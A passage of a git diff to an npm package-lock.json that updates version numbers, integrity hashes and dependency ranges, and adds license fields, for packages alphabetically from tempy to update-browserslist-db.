       "resolved": "https://registry.npmjs.org/tempy/-/tempy-0.6.0.tgz",
       "integrity": "sha512-G13vtMYPT/J8A4X2SjdtBTphZlrp1gKv6hZiOjw14RCWg6GbHuQBGtjlx75xLbYV/wEc0D7G5K4rxKP/cXk8Bw==",
+      "license": "MIT",
       "dependencies": {
         "is-stream": "^2.0.0",
         "temp-dir": "^2.0.0",
@@ -17670,6 +17420,7 @@
       "version": "0.16.0",
       "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.16.0.tgz",
       "integrity": "sha512-eaBzG6MxNzEn9kiwvtre90cXaNLkmadMWa1zQMs3XORCXNbsH/OewwbxC5ia9dCxIxnTAsSxXJaa/p5y8DlvJg==",
+      "license": "(MIT OR CC0-1.0)",
       "engines": {
         "node": ">=10"
       },
@@ -17681,6 +17432,7 @@
       "version": "2.1.1",
       "resolved": "https://registry.npmjs.org/terminal-link/-/terminal-link-2.1.1.tgz",
       "integrity": "sha512-un0FmiRUQNr5PJqy9kP7c40F5BOfpGlYTrxonDChEZB7pzZxRNp/bt+ymiy9/npwXya9KH99nJ/GXFIiUkYGFQ==",
+      "license": "MIT",
       "dependencies": {
         "ansi-escapes": "^4.2.1",
         "supports-hyperlinks": "^2.0.0"
@@ -17693,12 +17445,13 @@
       }
     },
     "node_modules/terser": {
-      "version": "5.27.1",
-      "resolved": "https://registry.npmjs.org/terser/-/terser-5.27.1.tgz",
-      "integrity": "sha512-29wAr6UU/oQpnTw5HoadwjUZnFQXGdOfj0LjZ4sVxzqwHh/QVkvr7m8y9WoR4iN3FRitVduTc6KdjcW38Npsug==",
+      "version": "5.43.1",
+      "resolved": "https://registry.npmjs.org/terser/-/terser-5.43.1.tgz",
+      "integrity": "sha512-+6erLbBm0+LROX2sPXlUYx/ux5PyE9K/a92Wrt6oA+WDAoFTdpHE5tCYCI5PNzq2y8df4rA+QgHLJuR4jNymsg==",
+      "license": "BSD-2-Clause",
       "dependencies": {
         "@jridgewell/source-map": "^0.3.3",
-        "acorn": "^8.8.2",
+        "acorn": "^8.14.0",
         "commander": "^2.20.0",
         "source-map-support": "~0.5.20"
       },
@@ -17710,15 +17463,16 @@
       }
     },
     "node_modules/terser-webpack-plugin": {
-      "version": "5.3.10",
-      "resolved": "https://registry.npmjs.org/terser-webpack-plugin/-/terser-webpack-plugin-5.3.10.tgz",
-      "integrity": "sha512-BKFPWlPDndPs+NGGCr1U59t0XScL5317Y0UReNrHaw9/FwhPENlq6bfgs+4yPfyP51vqC1bQ4rp1EfXW5ZSH9w==",
+      "version": "5.3.14",
+      "resolved": "https://registry.npmjs.org/terser-webpack-plugin/-/terser-webpack-plugin-5.3.14.tgz",
+      "integrity": "sha512-vkZjpUjb6OMS7dhV+tILUW6BhpDR7P2L/aQSAv+Uwk+m8KATX9EccViHTJR2qDtACKPIYndLGCyl3FMo+r2LMw==",
+      "license": "MIT",
       "dependencies": {
-        "@jridgewell/trace-mapping": "^0.3.20",
+        "@jridgewell/trace-mapping": "^0.3.25",
         "jest-worker": "^27.4.5",
-        "schema-utils": "^3.1.1",
-        "serialize-javascript": "^6.0.1",
-        "terser": "^5.26.0"
+        "schema-utils": "^4.3.0",
+        "serialize-javascript": "^6.0.2",
+        "terser": "^5.31.1"
       },
       "engines": {
         "node": ">= 10.13.0"
@@ -17745,12 +17499,14 @@
     "node_modules/terser/node_modules/commander": {
       "version": "2.20.3",
       "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz",
-      "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ=="
+      "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==",
+      "license": "MIT"
     },
     "node_modules/test-exclude": {
       "version": "6.0.0",
       "resolved": "https://registry.npmjs.org/test-exclude/-/test-exclude-6.0.0.tgz",
       "integrity": "sha512-cAGWPIyOHU6zlmg88jwm7VRyXnMN7iV68OGAbYDk/Mh/xC/pzVPlQtY6ngoIH/5/tciuhGfvESU8GrHrcxD56w==",
+      "license": "ISC",
       "dependencies": {
         "@istanbuljs/schema": "^0.1.2",
         "glob": "^7.1.4",
@@ -17763,12 +17519,14 @@
     "node_modules/text-table": {
       "version": "0.2.0",
       "resolved": "https://registry.npmjs.org/text-table/-/text-table-0.2.0.tgz",
-      "integrity": "sha512-N+8UisAXDGk8PFXP4HAzVR9nbfmVJ3zYLAWiTIoqC5v5isinhr+r5uaO8+7r3BMfuNIufIsA7RdpVgacC2cSpw=="
+      "integrity": "sha512-N+8UisAXDGk8PFXP4HAzVR9nbfmVJ3zYLAWiTIoqC5v5isinhr+r5uaO8+7r3BMfuNIufIsA7RdpVgacC2cSpw==",
+      "license": "MIT"
     },
     "node_modules/thenify": {
       "version": "3.3.1",
       "resolved": "https://registry.npmjs.org/thenify/-/thenify-3.3.1.tgz",
       "integrity": "sha512-RVZSIV5IG10Hk3enotrhvz0T9em6cyHBLkH/YAZuKqd8hRkKhSfCGIcP2KUY0EPxndzANBmNllzWPwak+bheSw==",
+      "license": "MIT",
       "dependencies": {
         "any-promise": "^1.0.0"
       }
@@ -17777,6 +17535,7 @@
       "version": "1.6.0",
       "resolved": "https://registry.npmjs.org/thenify-all/-/thenify-all-1.6.0.tgz",
       "integrity": "sha512-RNxQH/qI8/t3thXJDwcstUO4zeqo64+Uy/+sNVRBx4Xn2OX+OZ9oP+iJnNFqplFra2ZUVeKCSa2oVWi3T4uVmA==",
+      "license": "MIT",
       "dependencies": {
         "thenify": ">= 3.1.0 < 4"
       },
@@ -17787,46 +17546,45 @@
     "node_modules/throat": {
       "version": "6.0.2",
       "resolved": "https://registry.npmjs.org/throat/-/throat-6.0.2.tgz",
-      "integrity": "sha512-WKexMoJj3vEuK0yFEapj8y64V0A6xcuPuK9Gt1d0R+dzCSJc0lHqQytAbSB4cDAK0dWh4T0E2ETkoLE2WZ41OQ=="
+      "integrity": "sha512-WKexMoJj3vEuK0yFEapj8y64V0A6xcuPuK9Gt1d0R+dzCSJc0lHqQytAbSB4cDAK0dWh4T0E2ETkoLE2WZ41OQ==",
+      "license": "MIT"
     },
     "node_modules/through": {
       "version": "2.3.8",
       "resolved": "https://registry.npmjs.org/through/-/through-2.3.8.tgz",
       "integrity": "sha512-w89qg7PI8wAdvX60bMDP+bFoD5Dvhm9oLheFp5O4a2QF0cSBGsBX4qZmadPMvVqlLJBBci+WqGGOAPvcDeNSVg==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/thunky": {
       "version": "1.1.0",
       "resolved": "https://registry.npmjs.org/thunky/-/thunky-1.1.0.tgz",
-      "integrity": "sha512-eHY7nBftgThBqOyHGVN+l8gF0BucP09fMo0oO/Lb0w1OF80dJv+lDVpXG60WMQvkcxAkNybKsrEIE3ZtKGmPrA=="
+      "integrity": "sha512-eHY7nBftgThBqOyHGVN+l8gF0BucP09fMo0oO/Lb0w1OF80dJv+lDVpXG60WMQvkcxAkNybKsrEIE3ZtKGmPrA==",
+      "license": "MIT"
     },
     "node_modules/tiny-invariant": {
-      "version": "1.3.1",
-      "resolved": "https://registry.npmjs.org/tiny-invariant/-/tiny-invariant-1.3.1.tgz",
-      "integrity": "sha512-AD5ih2NlSssTCwsMznbvwMZpJ1cbhkGd2uueNxzv2jDlEeZdU04JQfRnggJQ8DrcVBGjAsCKwFBbDlVNtEMlzw=="
+      "version": "1.3.3",
+      "resolved": "https://registry.npmjs.org/tiny-invariant/-/tiny-invariant-1.3.3.tgz",
+      "integrity": "sha512-+FbBPE1o9QAYvviau/qC5SE3caw21q3xkvWKBtja5vgqOWIHHJ3ioaq1VPfn/Szqctz2bU/oYeKd9/z5BL+PVg==",
+      "license": "MIT"
     },
     "node_modules/tiny-warning": {
       "version": "1.0.3",
       "resolved": "https://registry.npmjs.org/tiny-warning/-/tiny-warning-1.0.3.tgz",
-      "integrity": "sha512-lBN9zLN/oAf68o3zNXYrdCt1kP8WsiGW8Oo2ka41b2IM5JL/S1CTyX1rW0mb/zSuJun0ZUrDxx4sqvYS2FWzPA=="
+      "integrity": "sha512-lBN9zLN/oAf68o3zNXYrdCt1kP8WsiGW8Oo2ka41b2IM5JL/S1CTyX1rW0mb/zSuJun0ZUrDxx4sqvYS2FWzPA==",
+      "license": "MIT"
     },
     "node_modules/tmpl": {
       "version": "1.0.5",
       "resolved": "https://registry.npmjs.org/tmpl/-/tmpl-1.0.5.tgz",
-      "integrity": "sha512-3f0uOEAQwIqGuWW2MVzYg8fV/QNnc/IpuJNG837rLuczAaLVHslWHZQj4IGiEl5Hs3kkbhwL9Ab7Hrsmuj+Smw=="
-    },
-    "node_modules/to-fast-properties": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/to-fast-properties/-/to-fast-properties-2.0.0.tgz",
-      "integrity": "sha512-/OaKK0xYrs3DmxRYqL/yDc+FxFUVYhDlXMhRmv3z915w2HF1tnN1omB354j8VUGO/hbRzyD6Y3sA7v7GS/ceog==",
-      "engines": {
-        "node": ">=4"
-      }
+      "integrity": "sha512-3f0uOEAQwIqGuWW2MVzYg8fV/QNnc/IpuJNG837rLuczAaLVHslWHZQj4IGiEl5Hs3kkbhwL9Ab7Hrsmuj+Smw==",
+      "license": "BSD-3-Clause"
     },
     "node_modules/to-regex-range": {
       "version": "5.0.1",
       "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz",
       "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==",
+      "license": "MIT",
       "dependencies": {
         "is-number": "^7.0.0"
       },
@@ -17838,14 +17596,16 @@
       "version": "1.0.1",
       "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz",
       "integrity": "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==",
+      "license": "MIT",
       "engines": {
         "node": ">=0.6"
       }
     },
     "node_modules/tough-cookie": {
-      "version": "4.1.3",
-      "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-4.1.3.tgz",
-      "integrity": "sha512-aX/y5pVRkfRnfmuX+OdbSdXvPe6ieKX/G2s7e98f4poJHnqH3281gDPm/metm6E/WRamfx7WC4HUqkWHfQHprw==",
+      "version": "4.1.4",
+      "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-4.1.4.tgz",
+      "integrity": "sha512-Loo5UUvLD9ScZ6jh8beX1T6sO1w2/MpCRpEP7V280GKMVUQ0Jzar2U3UJPsrdbziLEMMhu3Ujnq//rhiFuIeag==",
+      "license": "BSD-3-Clause",
       "dependencies": {
         "psl": "^1.1.33",
         "punycode": "^2.1.1",
@@ -17860,6 +17620,7 @@
       "version": "0.2.0",
       "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.2.0.tgz",
       "integrity": "sha512-CJ1QgKmNg3CwvAv/kOFmtnEN05f0D/cn9QntgNOQlQF9dgvVTHj3t+8JPdjqawCHk7V/KA+fbUqzZ9XWhcqPUg==",
+      "license": "MIT",
       "engines": {
         "node": ">= 4.0.0"
       }
@@ -17868,6 +17629,7 @@
       "version": "2.1.0",
       "resolved": "https://registry.npmjs.org/tr46/-/tr46-2.1.0.tgz",
       "integrity": "sha512-15Ih7phfcdP5YxqiB+iDtLoaTz4Nd35+IiAv0kQ5FNKHzXgdWqPoTIqEDDJmXceQt4JZk6lVPT8lnDlPpGDppw==",
+      "license": "MIT",
       "dependencies": {
         "punycode": "^2.1.1"
       },
@@ -17878,17 +17640,20 @@
     "node_modules/tryer": {
       "version": "1.0.1",
       "resolved": "https://registry.npmjs.org/tryer/-/tryer-1.0.1.tgz",
-      "integrity": "sha512-c3zayb8/kWWpycWYg87P71E1S1ZL6b6IJxfb5fvsUgsf0S2MVGaDhDXXjDMpdCpfWXqptc+4mXwmiy1ypXqRAA=="
+      "integrity": "sha512-c3zayb8/kWWpycWYg87P71E1S1ZL6b6IJxfb5fvsUgsf0S2MVGaDhDXXjDMpdCpfWXqptc+4mXwmiy1ypXqRAA==",
+      "license": "MIT"
     },
     "node_modules/ts-interface-checker": {
       "version": "0.1.13",
       "resolved": "https://registry.npmjs.org/ts-interface-checker/-/ts-interface-checker-0.1.13.tgz",
-      "integrity": "sha512-Y/arvbn+rrz3JCKl9C4kVNfTfSm2/mEp5FSz5EsZSANGPSlQrpRI5M4PKF+mJnE52jOO90PnPSc3Ur3bTQw0gA=="
+      "integrity": "sha512-Y/arvbn+rrz3JCKl9C4kVNfTfSm2/mEp5FSz5EsZSANGPSlQrpRI5M4PKF+mJnE52jOO90PnPSc3Ur3bTQw0gA==",
+      "license": "Apache-2.0"
     },
     "node_modules/tsconfig-paths": {
       "version": "3.15.0",
       "resolved": "https://registry.npmjs.org/tsconfig-paths/-/tsconfig-paths-3.15.0.tgz",
       "integrity": "sha512-2Ac2RgzDe/cn48GvOe3M+o82pEFewD3UPbyoUHHdKasHwJKjds4fLXWf/Ux5kATBKN20oaFGu+jbElp1pos0mg==",
+      "license": "MIT",
       "dependencies": {
         "@types/json5": "^0.0.29",
         "json5": "^1.0.2",
@@ -17900,6 +17665,7 @@
       "version": "1.0.2",
       "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.2.tgz",
       "integrity": "sha512-g1MWMLBiz8FKi1e4w0UyVL3w+iJceWAFBAaBnnGKOpNa5f8TLktkbre1+s6oICydWAm+HRUGTmI+//xv2hvXYA==",
+      "license": "MIT",
       "dependencies": {
         "minimist": "^1.2.0"
       },
@@ -17911,19 +17677,22 @@
       "version": "3.0.0",
       "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-3.0.0.tgz",
       "integrity": "sha512-vavAMRXOgBVNF6nyEEmL3DBK19iRpDcoIwW+swQ+CbGiu7lju6t+JklA1MHweoWtadgt4ISVUsXLyDq34ddcwA==",
+      "license": "MIT",
       "engines": {
         "node": ">=4"
       }
     },
     "node_modules/tslib": {
-      "version": "2.6.2",
-      "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.6.2.tgz",
-      "integrity": "sha512-AEYxH93jGFPn/a2iVAwW87VuUIkR1FVUKB77NwMF7nBTDkDrrT/Hpt/IrCJ0QXhW27jTBDcf5ZY7w6RiqTMw2Q=="
+      "version": "2.8.1",
+      "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz",
+      "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==",
+      "license": "0BSD"
     },
     "node_modules/tsutils": {
       "version": "3.21.0",
       "resolved": "https://registry.npmjs.org/tsutils/-/tsutils-3.21.0.tgz",
       "integrity": "sha512-mHKK3iUXL+3UF6xL5k0PEhKRUBKPBCv/+RkEOpjRWxxx27KKRBmmA60A9pgOUvMi8GKhRMPEmjBRPzs2W7O1OA==",
+      "license": "MIT",
       "dependencies": {
         "tslib": "^1.8.1"
       },
@@ -17937,12 +17706,14 @@
     "node_modules/tsutils/node_modules/tslib": {
       "version": "1.14.1",
       "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz",
-      "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg=="
+      "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==",
+      "license": "0BSD"
     },
     "node_modules/type-check": {
       "version": "0.4.0",
       "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.4.0.tgz",
       "integrity": "sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==",
+      "license": "MIT",
       "dependencies": {
         "prelude-ls": "^1.2.1"
       },
@@ -17954,6 +17725,7 @@
       "version": "4.0.8",
       "resolved": "https://registry.npmjs.org/type-detect/-/type-detect-4.0.8.tgz",
       "integrity": "sha512-0fr/mIH1dlO+x7TlcMy+bIDqKPsw/70tVyeHW787goQjhmqaZe10uwLujubK9q9Lg6Fiho1KUKDYz0Z7k7g5/g==",
+      "license": "MIT",
       "engines": {
         "node": ">=4"
       }
@@ -17962,6 +17734,7 @@
       "version": "0.21.3",
       "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.21.3.tgz",
       "integrity": "sha512-t0rzBq87m3fVcduHDUFhKmyyX+9eo6WQjZvf51Ea/M0Q7+T374Jp1aUiyUl0GKxp8M/OETVHSDvmkyPgvX+X2w==",
+      "license": "(MIT OR CC0-1.0)",
       "engines": {
         "node": ">=10"
       },
@@ -17973,6 +17746,7 @@
       "version": "1.6.18",
       "resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.18.tgz",
       "integrity": "sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==",
+      "license": "MIT",
       "dependencies": {
         "media-typer": "0.3.0",
         "mime-types": "~2.1.24"
@@ -17982,27 +17756,30 @@
       }
     },
     "node_modules/typed-array-buffer": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/typed-array-buffer/-/typed-array-buffer-1.0.1.tgz",
-      "integrity": "sha512-RSqu1UEuSlrBhHTWC8O9FnPjOduNs4M7rJ4pRKoEjtx1zUNOPN2sSXHLDX+Y2WPbHIxbvg4JFo2DNAEfPIKWoQ==",
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/typed-array-buffer/-/typed-array-buffer-1.0.3.tgz",
+      "integrity": "sha512-nAYYwfY3qnzX30IkA6AQZjVbtK6duGontcQm1WSG1MD94YLqK0515GNApXkoxKOWMusVssAHWLh9SeaoefYFGw==",
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.6",
+        "call-bound": "^1.0.3",
         "es-errors": "^1.3.0",
-        "is-typed-array": "^1.1.13"
+        "is-typed-array": "^1.1.14"
       },
       "engines": {
         "node": ">= 0.4"
       }
     },
     "node_modules/typed-array-byte-length": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/typed-array-byte-length/-/typed-array-byte-length-1.0.0.tgz",
-      "integrity": "sha512-Or/+kvLxNpeQ9DtSydonMxCx+9ZXOswtwJn17SNLvhptaXYDJvkFFP5zbfU/uLmvnBJlI4yrnXRxpdWH/M5tNA==",
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/typed-array-byte-length/-/typed-array-byte-length-1.0.3.tgz",
+      "integrity": "sha512-BaXgOuIxz8n8pIq3e7Atg/7s+DpiYrxn4vdot3w9KbnBhcRQq6o3xemQdIfynqSeXeDrF32x+WvfzmOjPiY9lg==",
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2",
+        "call-bind": "^1.0.8",
         "for-each": "^0.3.3",
-        "has-proto": "^1.0.1",
-        "is-typed-array": "^1.1.10"
+        "gopd": "^1.2.0",
+        "has-proto": "^1.2.0",
+        "is-typed-array": "^1.1.14"
       },
       "engines": {
         "node": ">= 0.4"
@@ -18012,15 +17789,18 @@
       }
     },
     "node_modules/typed-array-byte-offset": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/typed-array-byte-offset/-/typed-array-byte-offset-1.0.0.tgz",
-      "integrity": "sha512-RD97prjEt9EL8YgAgpOkf3O4IF9lhJFr9g0htQkm0rchFp/Vx7LW5Q8fSXXub7BXAODyUQohRMyOc3faCPd0hg==",
+      "version": "1.0.4",
+      "resolved": "https://registry.npmjs.org/typed-array-byte-offset/-/typed-array-byte-offset-1.0.4.tgz",
+      "integrity": "sha512-bTlAFB/FBYMcuX81gbL4OcpH5PmlFHqlCCpAl8AlEzMz5k53oNDvN8p1PNOWLEmI2x4orp3raOFB51tv9X+MFQ==",
+      "license": "MIT",
       "dependencies": {
-        "available-typed-arrays": "^1.0.5",
-        "call-bind": "^1.0.2",
+        "available-typed-arrays": "^1.0.7",
+        "call-bind": "^1.0.8",
         "for-each": "^0.3.3",
-        "has-proto": "^1.0.1",
-        "is-typed-array": "^1.1.10"
+        "gopd": "^1.2.0",
+        "has-proto": "^1.2.0",
+        "is-typed-array": "^1.1.15",
+        "reflect.getprototypeof": "^1.0.9"
       },
       "engines": {
         "node": ">= 0.4"
@@ -18030,13 +17810,20 @@
       }
     },
     "node_modules/typed-array-length": {
-      "version": "1.0.4",
-      "resolved": "https://registry.npmjs.org/typed-array-length/-/typed-array-length-1.0.4.tgz",
-      "integrity": "sha512-KjZypGq+I/H7HI5HlOoGHkWUUGq+Q0TPhQurLbyrVrvnKTBgzLhIJ7j6J/XTQOi0d1RjyZ0wdas8bKs2p0x3Ng==",
+      "version": "1.0.7",
+      "resolved": "https://registry.npmjs.org/typed-array-length/-/typed-array-length-1.0.7.tgz",
+      "integrity": "sha512-3KS2b+kL7fsuk/eJZ7EQdnEmQoaho/r6KUef7hxvltNA5DR8NAUM+8wJMbJyZ4G9/7i3v5zPBIMN5aybAh2/Jg==",
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2",
+        "call-bind": "^1.0.7",
         "for-each": "^0.3.3",
-        "is-typed-array": "^1.1.9"
+        "gopd": "^1.0.1",
+        "is-typed-array": "^1.1.13",
+        "possible-typed-array-names": "^1.0.0",
+        "reflect.getprototypeof": "^1.0.6"
+      },
+      "engines": {
+        "node": ">= 0.4"
       },
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
@@ -18046,6 +17833,7 @@
       "version": "3.1.5",
       "resolved": "https://registry.npmjs.org/typedarray-to-buffer/-/typedarray-to-buffer-3.1.5.tgz",
       "integrity": "sha512-zdu8XMNEDepKKR+XYOXAVPtWui0ly0NtohUscw+UmaHiAWT8hrV1rr//H6V+0DvJ3OQ19S979M0laLfX8rm82Q==",
+      "license": "MIT",
       "dependencies": {
         "is-typedarray": "^1.0.0"
       }
@@ -18054,6 +17842,7 @@
       "version": "4.9.5",
       "resolved": "https://registry.npmjs.org/typescript/-/typescript-4.9.5.tgz",
       "integrity": "sha512-1FXk9E2Hm+QzZQ7z+McJiHL4NW1F2EzMu9Nq9i3zAaGqibafqYwCVU6WyWAuyQRRzOlxou8xZSyXLEN8oKj24g==",
+      "license": "Apache-2.0",
       "bin": {
         "tsc": "bin/tsc",
         "tsserver": "bin/tsserver"
@@ -18063,14 +17852,18 @@
       }
     },
     "node_modules/unbox-primitive": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/unbox-primitive/-/unbox-primitive-1.0.2.tgz",
-      "integrity": "sha512-61pPlCD9h51VoreyJ0BReideM3MDKMKnh6+V9L08331ipq6Q8OFXZYiqP6n/tbHx4s5I9uRhcye6BrbkizkBDw==",
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/unbox-primitive/-/unbox-primitive-1.1.0.tgz",
+      "integrity": "sha512-nWJ91DjeOkej/TA8pXQ3myruKpKEYgqvpw9lz4OPHj/NWFNluYrjbz9j01CJ8yKQd2g4jFoOkINCTW2I5LEEyw==",
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2",
+        "call-bound": "^1.0.3",
         "has-bigints": "^1.0.2",
-        "has-symbols": "^1.0.3",
-        "which-boxed-primitive": "^1.0.2"
+        "has-symbols": "^1.1.0",
+        "which-boxed-primitive": "^1.1.1"
+      },
+      "engines": {
+        "node": ">= 0.4"
       },
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
@@ -18079,12 +17872,14 @@
     "node_modules/underscore": {
       "version": "1.12.1",
       "resolved": "https://registry.npmjs.org/underscore/-/underscore-1.12.1.tgz",
-      "integrity": "sha512-hEQt0+ZLDVUMhebKxL4x1BTtDY7bavVofhZ9KZ4aI26X9SRaE+Y3m83XUL1UP2jn8ynjndwCCpEHdUG+9pP1Tw=="
+      "integrity": "sha512-hEQt0+ZLDVUMhebKxL4x1BTtDY7bavVofhZ9KZ4aI26X9SRaE+Y3m83XUL1UP2jn8ynjndwCCpEHdUG+9pP1Tw==",
+      "license": "MIT"
     },
     "node_modules/unicode-canonical-property-names-ecmascript": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/unicode-canonical-property-names-ecmascript/-/unicode-canonical-property-names-ecmascript-2.0.0.tgz",
-      "integrity": "sha512-yY5PpDlfVIU5+y/BSCxAJRBIS1Zc2dDG3Ujq+sR0U+JjUevW2JhocOF+soROYDSaAezOzOKuyyixhD6mBknSmQ==",
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/unicode-canonical-property-names-ecmascript/-/unicode-canonical-property-names-ecmascript-2.0.1.tgz",
+      "integrity": "sha512-dA8WbNeb2a6oQzAQ55YlT5vQAWGV9WXOsi3SskE3bcCdM0P4SDd+24zS/OCacdRq5BkdsRj9q3Pg6YyQoxIGqg==",
+      "license": "MIT",
       "engines": {
         "node": ">=4"
       }
@@ -18093,6 +17888,7 @@
       "version": "2.0.0",
       "resolved": "https://registry.npmjs.org/unicode-match-property-ecmascript/-/unicode-match-property-ecmascript-2.0.0.tgz",
       "integrity": "sha512-5kaZCrbp5mmbz5ulBkDkbY0SsPOjKqVS35VpL9ulMPfSl0J0Xsm+9Evphv9CoIZFwre7aJoa94AY6seMKGVN5Q==",
+      "license": "MIT",
       "dependencies": {
         "unicode-canonical-property-names-ecmascript": "^2.0.0",
         "unicode-property-aliases-ecmascript": "^2.0.0"
@@ -18102,9 +17898,10 @@
       }
     },
     "node_modules/unicode-match-property-value-ecmascript": {
-      "version": "2.1.0",
-      "resolved": "https://registry.npmjs.org/unicode-match-property-value-ecmascript/-/unicode-match-property-value-ecmascript-2.1.0.tgz",
-      "integrity": "sha512-qxkjQt6qjg/mYscYMC0XKRn3Rh0wFPlfxB0xkt9CfyTvpX1Ra0+rAmdX2QyAobptSEvuy4RtpPRui6XkV+8wjA==",
+      "version": "2.2.0",
+      "resolved": "https://registry.npmjs.org/unicode-match-property-value-ecmascript/-/unicode-match-property-value-ecmascript-2.2.0.tgz",
+      "integrity": "sha512-4IehN3V/+kkr5YeSSDDQG8QLqO26XpL2XP3GQtqwlT/QYSECAwFztxVHjlbh0+gjJ3XmNLS0zDsbgs9jWKExLg==",
+      "license": "MIT",
       "engines": {
         "node": ">=4"
       }
@@ -18113,6 +17910,7 @@
       "version": "2.1.0",
       "resolved": "https://registry.npmjs.org/unicode-property-aliases-ecmascript/-/unicode-property-aliases-ecmascript-2.1.0.tgz",
       "integrity": "sha512-6t3foTQI9qne+OZoVQB/8x8rk2k1eVy1gRXhV3oFQ5T6R1dqQ1xtin3XqSlx3+ATBkliTaR/hHyJBm+LVPNM8w==",
+      "license": "MIT",
       "engines": {
         "node": ">=4"
       }
@@ -18121,6 +17919,7 @@
       "version": "2.0.0",
       "resolved": "https://registry.npmjs.org/unique-string/-/unique-string-2.0.0.tgz",
       "integrity": "sha512-uNaeirEPvpZWSgzwsPGtU2zVSTrn/8L5q/IexZmH0eH6SA73CmAA5U4GwORTxQAZs95TAXLNqeLoPPNO5gZfWg==",
+      "license": "MIT",
       "dependencies": {
         "crypto-random-string": "^2.0.0"
       },
@@ -18132,6 +17931,7 @@
       "version": "2.0.1",
       "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.1.tgz",
       "integrity": "sha512-gptHNQghINnc/vTGIk0SOFGFNXw7JVrlRUtConJRlvaw6DuX0wO5Jeko9sWrMBhh+PsYAZ7oXAiOnf/UKogyiw==",
+      "license": "MIT",
       "engines": {
         "node": ">= 10.0.0"
       }
@@ -18140,6 +17940,7 @@
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz",
       "integrity": "sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==",
+      "license": "MIT",
       "engines": {
         "node": ">= 0.8"
       }
@@ -18147,21 +17948,23 @@
     "node_modules/unquote": {
       "version": "1.1.1",
       "resolved": "https://registry.npmjs.org/unquote/-/unquote-1.1.1.tgz",
-      "integrity": "sha512-vRCqFv6UhXpWxZPyGDh/F3ZpNv8/qo7w6iufLpQg9aKnQ71qM4B5KiI7Mia9COcjEhrO9LueHpMYjYzsWH3OIg=="
+      "integrity": "sha512-vRCqFv6UhXpWxZPyGDh/F3ZpNv8/qo7w6iufLpQg9aKnQ71qM4B5KiI7Mia9COcjEhrO9LueHpMYjYzsWH3OIg==",
+      "license": "MIT"
     },
     "node_modules/upath": {
       "version": "1.2.0",
       "resolved": "https://registry.npmjs.org/upath/-/upath-1.2.0.tgz",
       "integrity": "sha512-aZwGpamFO61g3OlfT7OQCHqhGnW43ieH9WZeP7QxN/G/jS4jfqUkZxoryvJgVPEcrl5NL/ggHsSmLMHuH64Lhg==",
+      "license": "MIT",
       "engines": {
         "node": ">=4",
         "yarn": "*"
       }
     },
     "node_modules/update-browserslist-db": {
-      "version": "1.0.13",
-      "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.0.13.tgz",
-      "integrity": "sha512-xebP81SNcPuNpPP3uzeW1NYXxI3rxyJzF3pD6sH4jE7o/IX+WtSpwnVU+qIsDPyk0d3hmFQ7mjqc6AtV604hbg==",
